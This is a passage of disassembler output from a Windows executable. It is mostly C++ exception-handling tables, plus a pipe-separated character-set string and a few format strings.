dword_440CB8 dd 19930520h, 2, 440CD8h, 5 dup(0) dd 0FFFFFFFFh, 43A9A0h, 0
dd offset loc_43A9A8
align 10h
dword_440CF0 dd 19930520h, 11h, 440D10h, 5 dup(0) dd 0FFFFFFFFh, 43A9C0h, 0
dd offset loc_43A9C8
dd 1, 43A9D3h, 2, 43A9DEh, 3, 43A9E9h, 4, 43A9F7h, 5, 43AA05h
dd 6, 43AA13h, 7, 43AA21h, 8, 43AA2Fh, 9, 43AA3Dh, 0Ah
dd 43AA4Bh, 0Bh, 43AA59h, 0Ch, 43AA67h, 0Dh, 43AA75h, 0Eh
dd 43AA83h, 0Fh, 43AA91h, 4 dup(0)
dword_440DA8 dd 19930520h, 1, 440DC8h, 5 dup(0) dd 0FFFFFFFFh, 43AAF0h, 2 dup(0)
dword_440DD8 dd 19930520h, 1, 440DF8h, 5 dup(0) dd 0FFFFFFFFh, 43AB10h, 2 dup(0)
dword_440E08 dd 19930520h, 6, 440E28h, 5 dup(0) dd 0FFFFFFFFh, 43AB30h, 0
dd offset loc_43AB38
dd 1, 43AB43h, 2, 43AB4Eh, 3, 43AB59h, 4, 43AB64h, 2 dup(0)
dword_440E60 dd 19930520h, 6, 440E80h, 5 dup(0) dd 0FFFFFFFFh, 43AB90h, 0
dd offset loc_43AB98
dd 1, 43ABA3h, 2, 43ABAEh, 3, 43ABB9h, 4, 43ABC4h, 2 dup(0)
dword_440EB8 dd 19930520h, 1, 440ED8h, 5 dup(0) dd 0FFFFFFFFh, 43ABF0h, 2 dup(0)
dword_440EE8 dd 19930520h, 7, 440F08h, 5 dup(0) dd 0FFFFFFFFh, 43AC10h, 0
dd offset loc_43AC18
dd 1, 43AC23h, 2, 43AC2Eh, 2, 43AC36h, 4, 43AC3Eh, 5, 43AC46h
dd 2 dup(0)
dword_440F48 dd 19930520h, 4, 440F68h, 5 dup(0) dd 0FFFFFFFFh, 43AC70h, 0
dd offset loc_43AC7B
dd 1, 43AC86h, 2, 43AC91h, 2 dup(0)
dword_440F90 dd 19930520h, 4, 440FB0h, 5 dup(0) dd 0FFFFFFFFh, 43ACC0h, 0
; ---------------------------------------------------------------------------
retf
; ---------------------------------------------------------------------------
db 0ACh, 43h, 0
dd 1, 43ACD6h, 2, 43ACE1h, 2 dup(0)
dword_440FD8 dd 19930520h, 2, 440FF8h, 5 dup(0) dd 0FFFFFFFFh, 43AD10h, 0FFFFFFFFh, 43AD18h, 2 dup(0)
dword_441010 dd 19930520h, 1, 441030h, 5 dup(0) dd 0FFFFFFFFh, 43AD30h, 2 dup(0)
dword_441040 dd 19930520h, 1, 441060h, 5 dup(0) dd 0FFFFFFFFh, 43AD50h, 2 dup(0)
dword_441070 dd 19930520h, 2, 441090h, 5 dup(0) dd 0FFFFFFFFh, 43AD70h, 0
dd offset loc_43AD78
dd 2 dup(0)
dword_4410A8 dd 19930520h, 3, 4410C8h, 5 dup(0) dd 0FFFFFFFFh, 43AD90h, 0
dd offset loc_43AD98
dd 1, 43ADA3h, 2 dup(0)
dword_4410E8 dd 19930520h, 3, 441108h, 5 dup(0) dd 0FFFFFFFFh, 43ADD0h, 0
dd offset loc_43ADD8
dd 1, 43ADE0h, 2 dup(0)
dword_441128 dd 19930520h, 1, 441148h, 5 dup(0) dd 0FFFFFFFFh, 43AE00h, 2 dup(0)
dword_441158 dd 19930520h, 4, 441178h, 5 dup(0) dd 0FFFFFFFFh, 43AE20h, 0
dd offset loc_43AE28
dd 0
dd offset loc_43AE30
dd 0
dd offset loc_43AE3B
align 10h
dword_4411A0 dd 19930520h, 6, 4411C0h, 5 dup(0) dd 0FFFFFFFFh, 43AE60h, 0
dd offset loc_43AE68
dd 1, 43AE70h, 2, 43AE78h, 3, 43AE80h, 4, 43AE88h, 2 dup(0)
dword_4411F8 dd 19930520h, 3, 441218h, 5 dup(0) dd 0FFFFFFFFh, 43AEB0h, 0
dd offset loc_43AEBB
dd 1, 43AEC6h, 2 dup(0)
dword_441238 dd 19930520h, 4, 441258h, 5 dup(0) dd 0FFFFFFFFh, 43AEF0h, 0
dd offset loc_43AEF8
dd 1, 43AF00h, 2, 43AF08h, 2 dup(0)
dword_441280 dd 19930520h, 5, 4412A0h, 5 dup(0) dd 0FFFFFFFFh, 43AF30h, 0
dd offset loc_43AF38
dd 1, 43AF40h, 2, 43AF48h, 3, 43AF50h, 2 dup(0)
dword_4412D0 dd 19930520h, 4, 4412F0h, 5 dup(0) dd 0FFFFFFFFh, 43AF80h, 0
dd offset loc_43AF88
dd 1, 43AF93h, 2, 43AF9Eh, 2 dup(0)
dword_441318 dd 19930520h, 3, 441338h, 5 dup(0) dd 0FFFFFFFFh, 43AFC0h, 0
dd offset loc_43AFC8
dd 1, 43AFD0h, 2 dup(0)
dword_441358 dd 19930520h, 1, 441378h, 5 dup(0) dd 0FFFFFFFFh, 43AFF0h, 2 dup(0)
dword_441388 dd 19930520h, 2, 4413A8h, 5 dup(0) dd 0FFFFFFFFh, 43B010h, 0
dd offset loc_43B018
align 10h
dword_4413C0 dd 19930520h, 2, 4413E0h, 5 dup(0) dd 0FFFFFFFFh, 43B030h, 0
dd offset loc_43B038
dd 2 dup(0)
dword_4413F8 dd 19930520h, 3, 441418h, 5 dup(0) dd 0FFFFFFFFh, 43B050h, 0
dd offset loc_43B05B
dd 1, 43B066h, 2 dup(0)
dword_441438 dd 19930520h, 1, 441458h, 5 dup(0) dd 0FFFFFFFFh, 43B090h, 2 dup(0)
dword_441468 dd 19930520h, 1, 441488h, 5 dup(0) dd 0FFFFFFFFh, 43B0B0h, 2 dup(0)
dword_441498 dd 19930520h, 4, 4414B8h, 5 dup(0) dd 0FFFFFFFFh, 43B0D0h, 0
dd offset loc_43B0D8
dd 1, 43B0E3h, 2, 43B0EEh, 2 dup(0)
dword_4414E0 dd 19930520h, 7, 441500h, 5 dup(0) dd 0FFFFFFFFh, 43B110h, 0FFFFFFFFh, 43B118h, 0FFFFFFFFh
dd 43B120h, 2, 43B128h, 3, 43B130h, 4, 43B138h, 0FFFFFFFFh
dd 43B140h, 2 dup(0)
dword_441540 dd 19930520h, 1Bh, 441560h, 5 dup(0) dd 0FFFFFFFFh, 43B170h, 0
dd offset loc_43B178
dd 1, 43B183h, 2, 43B191h, 3, 43B19Fh, 4, 43B1ADh, 5, 43B1BBh
dd 6, 43B1C9h, 7, 43B1D7h, 8, 43B1E5h, 9, 43B1F3h, 0Ah
dd 43B201h, 0Bh, 43B20Fh, 0Ch, 43B21Dh, 0Dh, 43B22Bh, 0Eh
dd 43B239h, 0Fh, 43B247h, 10h, 43B255h, 11h, 43B263h, 12h
dd 43B271h, 13h, 43B27Fh, 14h, 43B28Dh, 15h, 43B29Bh, 16h
dd 43B2A9h, 17h, 43B2B7h, 18h, 43B2C5h, 19h, 43B2D3h, 6 dup(0)
dword_441650 dd 19930520h, 1Bh, 441670h, 5 dup(0) dd 0FFFFFFFFh, 43B350h, 0
dd offset loc_43B358
dd 1, 43B363h, 2, 43B371h, 3, 43B37Fh, 4, 43B38Dh, 5, 43B39Bh
dd 6, 43B3A9h, 7, 43B3B7h, 8, 43B3C5h, 9, 43B3D3h, 0Ah
dd 43B3E1h, 0Bh, 43B3EFh, 0Ch, 43B3FDh, 0Dh, 43B40Bh, 0Eh
dd 43B419h, 0Fh, 43B427h, 10h, 43B435h, 11h, 43B443h, 12h
dd 43B451h, 13h, 43B45Fh, 14h, 43B46Dh, 15h, 43B47Bh, 16h
dd 43B489h, 17h, 43B497h, 18h, 43B4A5h, 19h, 43B4B3h, 6 dup(0)
dword_441760 dd 19930520h, 1, 441780h, 5 dup(0) dd 0FFFFFFFFh, 43B530h, 2 dup(0)
dword_441790 dd 19930520h, 3Dh, 4417B0h, 5 dup(0) dd 0FFFFFFFFh, 43B550h, 0
dd offset loc_43B55B
dd 1, 43B566h, 2, 43B574h, 3, 43B582h, 4, 43B590h, 5, 43B59Eh
dd 6, 43B5ACh, 7, 43B5BAh, 8, 43B5C8h, 9, 43B5D6h, 0Ah
dd 43B5E4h, 0Bh, 43B5F2h, 0Ch, 43B600h, 0Dh, 43B60Eh, 0Eh
dd 43B61Ch, 0Fh, 43B62Ah, 10h, 43B638h, 11h, 43B646h, 12h
dd 43B654h, 13h, 43B662h, 14h, 43B670h, 15h, 43B67Eh, 16h
dd 43B68Ch, 17h, 43B69Ah, 18h, 43B6A8h, 19h, 43B6B6h, 1Ah
dd 43B6C4h, 1Bh, 43B6D2h, 1Ch, 43B6E0h, 1Dh, 43B6EEh, 1Eh
dd 43B6FCh, 1Fh, 43B70Ah, 20h, 43B718h, 21h, 43B726h, 22h
dd 43B734h, 23h, 43B742h, 24h, 43B750h, 25h, 43B75Eh, 26h
dd 43B76Ch, 27h, 43B77Ah, 28h, 43B788h, 29h, 43B796h, 2Ah
dd 43B7A4h, 2Bh, 43B7B2h, 2Ch, 43B7C0h, 2Dh, 43B7CEh, 2Eh
dd 43B7DCh, 2Fh, 43B7EAh, 30h, 43B7F8h, 31h, 43B806h, 32h
dd 43B814h, 33h, 43B822h, 34h, 43B830h, 35h, 43B83Eh, 36h
dd 43B84Ch, 37h, 43B85Ah, 38h, 43B868h, 39h, 43B876h, 3Ah
dd 43B884h, 3Bh, 43B892h, 0Eh dup(0)
dword_4419D0 dd 19930520h, 4, 4419F0h, 5 dup(0) dd 0FFFFFFFFh, 43B980h, 0
dd offset loc_43B98B
dd 1, 43B996h, 2, 43B9A1h, 2 dup(0)
dword_441A18 dd 19930520h, 6, 441A38h, 5 dup(0) dd 0FFFFFFFFh, 43B9D0h, 0
dd offset loc_43B9DB
dd 1, 43B9E6h, 2, 43B9F1h, 3, 43B9FFh, 4, 43BA0Dh, 2 dup(0)
dword_441A70 dd 19930520h, 4, 441A90h, 5 dup(0) dd 0FFFFFFFFh, 43BA40h, 0
dd offset loc_43BA4E
dd 1, 43BA5Ch, 2, 43BA6Ah, 2 dup(0)
dword_441AB8 dd 19930520h, 5, 441AD8h, 5 dup(0) dd 0FFFFFFFFh, 43BAA0h, 0
dd offset loc_43BAAB
dd 1, 43BAB6h, 2, 43BAC1h, 3, 43BACFh, 2 dup(0)
dword_441B08 dd 19930520h, 5, 441B28h, 5 dup(0) dd 0FFFFFFFFh, 43BB00h, 0
dd offset loc_43BB0B
dd 1, 43BB16h, 2, 43BB21h, 3, 43BB2Fh, 2 dup(0)
dword_441B58 dd 19930520h, 1, 441B78h, 5 dup(0) dd 0FFFFFFFFh, 43BB60h, 2 dup(0)
dword_441B88 dd 19930520h, 1, 441BA8h, 5 dup(0) dd 0FFFFFFFFh, 43BB80h, 2 dup(0)
dword_441BB8 dd 19930520h, 1, 441BD8h, 5 dup(0) dd 0FFFFFFFFh, 43BBA0h, 2 dup(0)
dword_441BE8 dd 19930520h, 2, 441C08h, 5 dup(0) dd 0FFFFFFFFh, 43BBC0h, 0
; ---------------------------------------------------------------------------
retf
; ---------------------------------------------------------------------------
db 0BBh, 43h, 0
align 10h
dword_441C20 dd 19930520h, 4, 441C40h, 5 dup(0) dd 0FFFFFFFFh, 43BBF0h, 0
dd offset loc_43BBFB
dd 1, 43BC06h, 2, 43BC11h, 2 dup(0)
dword_441C68 dd 19930520h, 4, 441C88h, 5 dup(0) dd 0FFFFFFFFh, 43BC40h, 0
dd offset loc_43BC4B
dd 1, 43BC56h, 2, 43BC61h, 2 dup(0)
dword_441CB0 dd 19930520h, 6, 441CD0h, 5 dup(0) dd 0FFFFFFFFh, 43BC90h, 0
dd offset loc_43BC9B
dd 1, 43BCA6h, 2, 43BCB1h, 3, 43BCBFh, 4, 43BCCDh, 2 dup(0)
dword_441D08 dd 19930520h, 4, 441D28h, 5 dup(0) dd 0FFFFFFFFh, 43BD00h, 0
dd offset loc_43BD0E
dd 1, 43BD1Ch, 2, 43BD2Ah, 2 dup(0)
dword_441D50 dd 19930520h, 5, 441D70h, 5 dup(0) dd 0FFFFFFFFh, 43BD60h, 0
dd offset loc_43BD6B
dd 1, 43BD76h, 2, 43BD81h, 3, 43BD8Fh, 2 dup(0)
dword_441DA0 dd 19930520h, 5, 441DC0h, 5 dup(0) dd 0FFFFFFFFh, 43BDC0h, 0
; ---------------------------------------------------------------------------
retf
; ---------------------------------------------------------------------------
db 0BDh, 43h, 0
dd 1, 43BDD6h, 2, 43BDE1h, 3, 43BDEFh, 2 dup(0)
dword_441DF0 dd 19930520h, 1, 441E10h, 5 dup(0) dd 0FFFFFFFFh, 43BE20h, 2 dup(0)
dword_441E20 dd 19930520h, 1, 441E40h, 5 dup(0) dd 0FFFFFFFFh, 43BE40h, 2 dup(0)
dword_441E50 dd 19930520h, 1, 441E70h, 5 dup(0) dd 0FFFFFFFFh, 43BE60h, 2 dup(0)
dword_441E80 dd 19930520h, 2, 441EA0h, 5 dup(0) dd 0FFFFFFFFh, 43BE80h, 0
dd offset loc_43BE8B
dd 2 dup(0)
dword_441EB8 dd 19930520h, 4, 441ED8h, 5 dup(0) dd 0FFFFFFFFh, 43BEB0h, 0
dd offset loc_43BEBB
dd 1, 43BEC6h, 2, 43BED1h, 2 dup(0)
dword_441F00 dd 19930520h, 1, 441F20h, 5 dup(0) dd 0FFFFFFFFh, 43BF00h, 2 dup(0)
dword_441F30 dd 19930520h, 2, 441F50h, 5 dup(0) dd 0FFFFFFFFh, 43BF20h, 0
dd offset loc_43BF2B
dd 2 dup(0)
dword_441F68 dd 19930520h, 1, 441F88h, 5 dup(0) dd 0FFFFFFFFh, 43BF50h, 2 dup(0)
dword_441F98 dd 19930520h, 3, 441FB8h, 5 dup(0) dd 0FFFFFFFFh, 43BF70h, 0FFFFFFFFh, 43BF7Bh, 1, 43BF86h
dd 2 dup(0)
dword_441FD8 dd 19930520h, 1, 441FF8h, 5 dup(0) dd 0FFFFFFFFh, 43BFB0h, 2 dup(0)
dword_442008 dd 19930520h, 1, 442028h, 5 dup(0) dd 0FFFFFFFFh, 43BFD0h, 2 dup(0)
dword_442038 dd 19930520h, 3, 442058h, 5 dup(0) dd 0FFFFFFFFh, 43BFF0h, 0
dd offset loc_43C007
dd 1, 43C00Fh, 2 dup(0)
dword_442078 dd 19930520h, 1, 442098h, 5 dup(0) dd 0FFFFFFFFh, 43C030h, 2 dup(0)
dword_4420A8 dd 19930520h, 4, 4420C8h, 5 dup(0) dd 0FFFFFFFFh, 43C058h, 0
dd offset sub_43C050
dd 0
dd offset loc_43C06F
dd 2, 43C077h, 2 dup(0)
dword_4420F0 dd 19930520h, 6, 442110h, 5 dup(0) dd 0FFFFFFFFh, 43C0A0h, 0FFFFFFFFh, 43C0A8h, 0FFFFFFFFh
dd 43C0B0h, 0FFFFFFFFh, 43C0B8h, 0FFFFFFFFh, 43C0C0h, 0FFFFFFFFh
dd 43C0C8h, 2 dup(0)
dword_442148 dd 19930520h, 1Ah, 442168h, 5 dup(0) dd 0FFFFFFFFh, 43C0F0h, 0
dd offset loc_43C0FB
dd 1, 43C106h, 2, 43C111h, 3, 43C11Ch, 4, 43C127h, 5, 43C12Fh
dd 5, 43C13Ah, 5, 43C145h, 5, 43C153h, 5, 43C15Eh, 5, 43C169h
dd 5, 43C177h, 5, 43C182h, 5, 43C18Dh, 5, 43C198h, 5, 43C1A6h
dd 5, 43C1B1h, 5, 43C1BCh, 5, 43C1CAh, 5, 43C1D5h, 5, 43C1E0h
dd 5, 43C1EEh, 5, 43C1F9h, 5, 43C204h, 5, 43C20Fh, 6 dup(0)
dword_442250 dd 19930520h, 4, 442270h, 5 dup(0) dd 0FFFFFFFFh, 43C280h, 0
dd offset loc_43C288
dd 1, 43C293h, 2, 43C29Eh, 2 dup(0)
dword_442298 dd 19930520h, 4, 4422B8h, 5 dup(0) dd 0FFFFFFFFh, 43C2C0h, 0
dd offset loc_43C2C8
dd 1, 43C2D3h, 2, 43C2DEh, 2 dup(0)
dword_4422E0 dd 19930520h, 6, 442300h, 5 dup(0) dd 0FFFFFFFFh, 43C300h, 0
dd offset loc_43C308
dd 1, 43C313h, 2, 43C31Eh, 3, 43C329h, 4, 43C334h, 2 dup(0)
dword_442338 dd 19930520h, 6, 442358h, 5 dup(0) dd 0FFFFFFFFh, 43C360h, 0FFFFFFFFh, 43C36Bh, 0FFFFFFFFh
dd 43C376h, 2, 43C381h, 3, 43C38Ch, 2, 43C397h, 2 dup(0)
dword_442390 dd 19930520h, 3, 4423B0h, 5 dup(0) dd 0FFFFFFFFh, 43C3C0h, 0FFFFFFFFh, 43C3C8h, 0FFFFFFFFh
dd 43C3D0h, 2 dup(0)
dword_4423D0 dd 19930520h, 5, 4423F0h, 5 dup(0) dd 0FFFFFFFFh, 43C3F0h, 0FFFFFFFFh, 43C3F8h, 0FFFFFFFFh
dd 43C400h, 0FFFFFFFFh, 43C408h, 0FFFFFFFFh, 43C410h, 2 dup(0)
dword_442420 dd 19930520h, 0Ch, 442440h, 5 dup(0) dd 0FFFFFFFFh, 43C430h, 0
dd offset loc_43C438
dd 0FFFFFFFFh, 43C440h, 0FFFFFFFFh, 43C448h, 0FFFFFFFFh
dd 43C450h, 0FFFFFFFFh, 43C458h, 5, 43C460h, 0FFFFFFFFh
dd 43C468h, 0FFFFFFFFh, 43C470h, 0FFFFFFFFh, 43C478h, 0FFFFFFFFh
dd 43C480h, 0FFFFFFFFh, 43C488h, 4 dup(0)
dd 19930520h, 2, 4424D0h, 1, 4424E0h, 3 dup(0)
dd 0FFFFFFFFh, 0
dd 0FFFFFFFFh, 3 dup(0)
dd 2 dup(1), 4424F8h, 4 dup(0)
dd offset loc_41EE2C
align 10h
dword_442510 dd 19930520h, 0Ah, 442530h, 5 dup(0) dd 0FFFFFFFFh, 43C4D0h, 0
dd offset loc_43C4DB
dd 1, 43C4E6h, 2, 43C4F1h, 3, 43C4FCh, 3, 43C507h, 3, 43C512h
dd 3, 43C51Dh, 3, 43C528h, 3, 43C533h, 4 dup(0)
dword_442590 dd 19930520h, 2, 4425B0h, 5 dup(0) dd 0FFFFFFFFh, 43C570h, 0
dd offset loc_43C578
dd 2 dup(0)
dword_4425C8 dd 19930520h, 3, 4425E8h, 5 dup(0) dd 0FFFFFFFFh, 43C590h, 0FFFFFFFFh, 43C59Bh, 1, 43C5A6h
dd 2 dup(0)
dword_442608 dd 19930520h, 1, 442628h, 5 dup(0) dd 0FFFFFFFFh, 43C5D0h, 2 dup(0)
dword_442638 dd 19930520h, 2, 442658h, 5 dup(0) dd 0FFFFFFFFh, 43C5F0h, 0
dd offset loc_43C5FB
align 10h
dword_442670 dd 19930520h, 16h, 442690h, 5 dup(0) dd 0FFFFFFFFh, 43C620h, 0
dd offset loc_43C62B
dd 0
dd offset loc_43C633
dd 0
dd offset loc_43C63B
dd 3, 43C643h, 4, 43C64Bh, 0
dd offset loc_43C653
dd 6, 43C65Bh, 7, 43C663h, 0
dd offset loc_43C66B
dd 9, 43C673h, 0Ah, 43C67Bh, 0
dd offset loc_43C683
dd 0Ch, 43C68Bh, 0Dh, 43C693h, 0
dd offset loc_43C69B
dd 0Fh, 43C6A3h, 0
dd offset loc_43C6AB
dd 11h, 43C6B3h, 0
dd offset loc_43C6BB
dd 13h, 43C6C3h, 13h, 43C6CBh, 6 dup(0)
dword_442758 dd 19930520h, 6, 442778h, 5 dup(0) dd 0FFFFFFFFh, 43C710h, 0
dd offset loc_43C718
dd 1, 43C723h, 2, 43C72Eh, 3, 43C739h, 4, 43C744h, 2 dup(0)
dword_4427B0 dd 19930520h, 1, 4427D0h, 5 dup(0) dd 0FFFFFFFFh, 43C770h, 2 dup(0)
dword_4427E0 dd 19930520h, 1, 442800h, 5 dup(0) dd 0FFFFFFFFh, 43C7A0h, 2 dup(0)
dword_442810 dd 19930520h, 5, 442830h, 5 dup(0) dd 0FFFFFFFFh, 43C7D0h, 0FFFFFFFFh, 43C7D8h, 0FFFFFFFFh
dd 43C7E0h, 0FFFFFFFFh, 43C7E8h, 0FFFFFFFFh, 43C7F0h, 2 dup(0)
dword_442860 dd 19930520h, 0Bh, 442880h, 5 dup(0) dd 0FFFFFFFFh, 43C810h, 0FFFFFFFFh, 43C81Bh, 0FFFFFFFFh
dd 43C831h, 0FFFFFFFFh, 43C83Ch, 0FFFFFFFFh, 43C847h, 0FFFFFFFFh
dd 43C852h, 0FFFFFFFFh, 43C85Dh, 0FFFFFFFFh, 43C868h, 0FFFFFFFFh
dd 43C873h, 0FFFFFFFFh, 43C87Eh, 0FFFFFFFFh, 43C826h, 4 dup(0)
dword_4428E8 dd 19930520h, 1, 442908h, 5 dup(0) dd 0FFFFFFFFh, 43C8C0h, 2 dup(0)
dword_442918 dd 19930520h, 5, 442938h, 5 dup(0) dd 0FFFFFFFFh, 43C8E0h, 0FFFFFFFFh, 43C8E8h, 0FFFFFFFFh
dd 43C8F0h, 0FFFFFFFFh, 43C8F8h, 0FFFFFFFFh, 43C900h, 2 dup(0)
dword_442968 dd 19930520h, 15h, 442988h, 5 dup(0) dd 0FFFFFFFFh, 43C920h, 0FFFFFFFFh, 43C92Bh, 0FFFFFFFFh
dd 43C933h, 0FFFFFFFFh, 43C93Bh, 0FFFFFFFFh, 43C943h, 0FFFFFFFFh
dd 43C94Bh, 0FFFFFFFFh, 43C956h, 0FFFFFFFFh, 43C95Eh, 0FFFFFFFFh
dd 43C966h, 0FFFFFFFFh, 43C96Eh, 0FFFFFFFFh, 43C976h, 0FFFFFFFFh
dd 43C981h, 0FFFFFFFFh, 43C989h, 0FFFFFFFFh, 43C991h, 0FFFFFFFFh
dd 43C999h, 0FFFFFFFFh, 43C9A1h, 0FFFFFFFFh, 43C9ACh, 0FFFFFFFFh
dd 43C9B4h, 0FFFFFFFFh, 43C9BCh, 0FFFFFFFFh, 43C9C4h, 0FFFFFFFFh
dd 43C9CCh, 6 dup(0)
dword_442A48 dd 19930520h, 1, 442A68h, 5 dup(0) dd 0FFFFFFFFh, 43CA10h, 2 dup(0)
dword_442A78 dd 19930520h, 1, 442A98h, 5 dup(0) dd 0FFFFFFFFh, 43CA30h, 2 dup(0)
dword_442AA8 dd 19930520h, 5, 442AC8h, 5 dup(0) dd 0FFFFFFFFh, 43CA50h, 0
; ---------------------------------------------------------------------------
pop eax
retf 43h
; ---------------------------------------------------------------------------
dd 1, 43CA63h, 2, 43CA6Eh, 3, 43CA79h, 2 dup(0)
dword_442AF8 dd 19930520h, 5, 442B18h, 5 dup(0) dd 0FFFFFFFFh, 43CAA0h, 0
dd offset loc_43CAA8
dd 1, 43CAB3h, 2, 43CABEh, 3, 43CAC9h, 2 dup(0)
dword_442B48 dd 19930520h, 1, 442B68h, 5 dup(0) dd 0FFFFFFFFh, 43CAF0h, 2 dup(0)
dword_442B78 dd 19930520h, 1, 442B98h, 5 dup(0) dd 0FFFFFFFFh, 43CB10h, 2 dup(0)
dword_442BA8 dd 19930520h, 1, 442BC8h, 5 dup(0) dd 0FFFFFFFFh, 43CB30h, 2 dup(0)
dword_442BD8 dd 19930520h, 1, 442BF8h, 5 dup(0) dd 0FFFFFFFFh, 43CB50h, 2 dup(0)
dword_442C08 dd 19930520h, 1, 442C28h, 5 dup(0) dd 0FFFFFFFFh, 43CB70h, 2 dup(0)
dword_442C38 dd 19930520h, 1, 442C58h, 5 dup(0) dd 0FFFFFFFFh, 43CB90h, 2 dup(0)
dword_442C68 dd 19930520h, 1, 442C88h, 5 dup(0) dd 0FFFFFFFFh, 43CBB0h, 2 dup(0)
dword_442C98 dd 19930520h, 6, 442CB8h, 5 dup(0) dd 0FFFFFFFFh, 43CBD0h, 0
dd offset loc_43CBD8
dd 1, 43CBE3h, 2, 43CBEEh, 3, 43CBF9h, 4, 43CC04h, 2 dup(0)
dword_442CF0 dd 19930520h, 6, 442D10h, 5 dup(0) dd 0FFFFFFFFh, 43CC30h, 0
dd offset loc_43CC38
dd 1, 43CC43h, 2, 43CC4Eh, 3, 43CC59h, 4, 43CC64h, 2 dup(0)
dword_442D48 dd 19930520h, 3, 442D68h, 5 dup(0) dd 0FFFFFFFFh, 43CC90h, 0
dd offset loc_43CC98
dd 1, 43CCA6h, 2 dup(0)
dword_442D88 dd 19930520h, 16h, 442DA8h, 5 dup(0) dd 0FFFFFFFFh, 43CCD0h, 0
dd offset loc_43CCDB
dd 1, 43CCE6h, 2, 43CCF1h, 2, 43CCFCh, 2, 43CD07h, 2, 43CD12h
dd 6, 43CD1Dh, 2, 43CD28h, 8, 43CD33h, 2, 43CD3Eh, 0Ah
dd 43CD49h, 2, 43CD54h, 0Ch, 43CD5Fh, 0Dh, 43CD6Ah, 0Eh
dd 43CD75h, 0Fh, 43CD80h, 0Fh, 43CD8Bh, 0Fh, 43CD96h, 0Fh
dd 43CDA1h, 0Fh, 43CDACh, 0Fh, 43CDB7h, 6 dup(0)
dword_442E70 dd 19930520h, 1, 442E90h, 5 dup(0) dd 0FFFFFFFFh, 43CE10h, 2 dup(0)
dword_442EA0 dd 19930520h, 1, 442EC0h, 5 dup(0) dd 0FFFFFFFFh, 43CE30h, 2 dup(0)
dword_442ED0 dd 19930520h, 1, 442EF0h, 5 dup(0) dd 0FFFFFFFFh, 43CE50h, 2 dup(0)
dword_442F00 dd 19930520h, 1, 442F20h, 5 dup(0) dd 0FFFFFFFFh, 43CE70h, 2 dup(0)
dword_442F30 dd 19930520h, 1, 442F50h, 5 dup(0) dd 0FFFFFFFFh, 43CE90h, 2 dup(0)
dword_442F60 dd 19930520h, 2, 442F80h, 1, 442F90h, 3 dup(0) dd 0FFFFFFFFh, 0
dd 0FFFFFFFFh, 3 dup(0)
dd 2 dup(1), 442FA8h, 4 dup(0)
dd offset loc_42C244
align 10h
dword_442FC0 dd 19930520h, 2, 442FE0h, 1, 442FF0h, 3 dup(0) dd 0FFFFFFFFh, 0
dd 0FFFFFFFFh, 3 dup(0)
dd 2 dup(1), 443008h, 4 dup(0)
dd offset loc_42C321
align 10h
dword_443020 dd 19930520h, 3, 443040h, 5 dup(0) dd 0FFFFFFFFh, 43CED0h, 0
dd offset loc_43CED8
dd 1, 43CEE0h, 2 dup(0)
dword_443060 dd 19930520h, 1, 443080h, 5 dup(0) dd 0FFFFFFFFh, 43CF10h, 2 dup(0)
dword_443090 dd 19930520h, 1, 4430B0h, 5 dup(0) dd 0FFFFFFFFh, 43CF30h, 2 dup(0)
dword_4430C0 dd 19930520h, 1, 4430E0h, 5 dup(0) dd 0FFFFFFFFh, 43CF50h, 2 dup(0)
dword_4430F0 dd 19930520h, 1, 443110h, 5 dup(0) dd 0FFFFFFFFh, 43CF70h, 2 dup(0)
dword_443120 dd 19930520h, 1, 443140h, 5 dup(0) dd 0FFFFFFFFh, 43CF90h, 2 dup(0)
dword_443150 dd 19930520h, 6, 443170h, 5 dup(0) dd 0FFFFFFFFh, 43CFB0h, 0FFFFFFFFh, 43CFB8h, 0FFFFFFFFh
dd 43CFC0h, 0FFFFFFFFh, 43CFC8h, 0FFFFFFFFh, 43CFD0h, 0FFFFFFFFh
dd 43CFD8h, 2 dup(0)
dword_4431A8 dd 19930520h, 16h, 4431C8h, 5 dup(0) dd 0FFFFFFFFh, 43D000h, 0FFFFFFFFh, 43D00Bh, 0FFFFFFFFh
dd 43D013h, 0FFFFFFFFh, 43D01Bh, 0FFFFFFFFh, 43D023h, 0FFFFFFFFh
dd 43D02Eh, 0FFFFFFFFh, 43D036h, 0FFFFFFFFh, 43D03Eh, 0FFFFFFFFh
dd 43D046h, 0FFFFFFFFh, 43D051h, 0FFFFFFFFh, 43D059h, 0FFFFFFFFh
dd 43D061h, 0FFFFFFFFh, 43D06Ch, 0FFFFFFFFh, 43D074h, 0Dh
dd 43D07Ch, 0Eh, 43D084h, 0Eh, 43D08Ch, 0Eh, 43D094h, 0Eh
dd 43D09Ch, 12h, 43D0A4h, 13h, 43D0ACh, 0Eh, 43D0ACh, 6 dup(0)
dword_443290 dd 19930520h, 2, 4432B0h, 5 dup(0) dd 0FFFFFFFFh, 43D0F0h, 0FFFFFFFFh, 43D0F8h, 2 dup(0)
dword_4432C8 dd 19930520h, 2, 4432E8h, 5 dup(0) dd 0FFFFFFFFh, 43D110h, 0
dd offset loc_43D11B
align 10h
dword_443300 dd 19930520h, 1, 443320h, 5 dup(0) dd 0FFFFFFFFh, 43D140h, 2 dup(0)
dword_443330 dd 19930520h, 2, 443350h, 5 dup(0) dd 0FFFFFFFFh, 43D160h, 0FFFFFFFFh, 43D168h, 2 dup(0)
dword_443368 dd 19930520h, 0Ah, 443388h, 5 dup(0) dd 0FFFFFFFFh, 43D180h, 0FFFFFFFFh, 43D18Bh, 0FFFFFFFFh
dd 43D196h, 0FFFFFFFFh, 43D1A1h, 0FFFFFFFFh, 43D1ACh, 0FFFFFFFFh
dd 43D1B7h, 0FFFFFFFFh, 43D1C2h, 0FFFFFFFFh, 43D1CDh, 0FFFFFFFFh
dd 43D1D8h, 0FFFFFFFFh, 43D1E3h, 34Bh dup(0)
dd offset aRrrrrrrrrrrrrr+1Fh
dd offset aRrrrrrrrrr+7Ah
dd 105h dup(0)
aABCDEFGHIJKLMN db 'a|b|c|d|e|f|g|h|i|j|k|l|m|n|o|p|q|r|s|t|u|v|w|x|y|z|A|B|C|D|E|F|G'
; DATA XREF: sub_403530+7Fo
db '|H|I|J|K|L|M|N|O|P|Q|R|S|T|U|V|W|X|Y|Z|!|?|#|$|%|^|&|*|(|)|_|+|[|'
db '`|]|0|1|2|3|4|5|6|7|8|9| |.|\|-|/|:|"|@',0
align 4
dd 8 dup(0)
asc_4445EC: ; DATA XREF: sub_403530+66o
; sub_40FE30:loc_41070Eo ...
unicode 0, <|>,0
aS db '%s',0 ; DATA XREF: sub_404C30+86Fo
; sub_404C30+AEBo ...
align 4
aSS_0 db '%s %s',0Dh,0Ah,0 ; DATA XREF: sub_404C30+82Bo
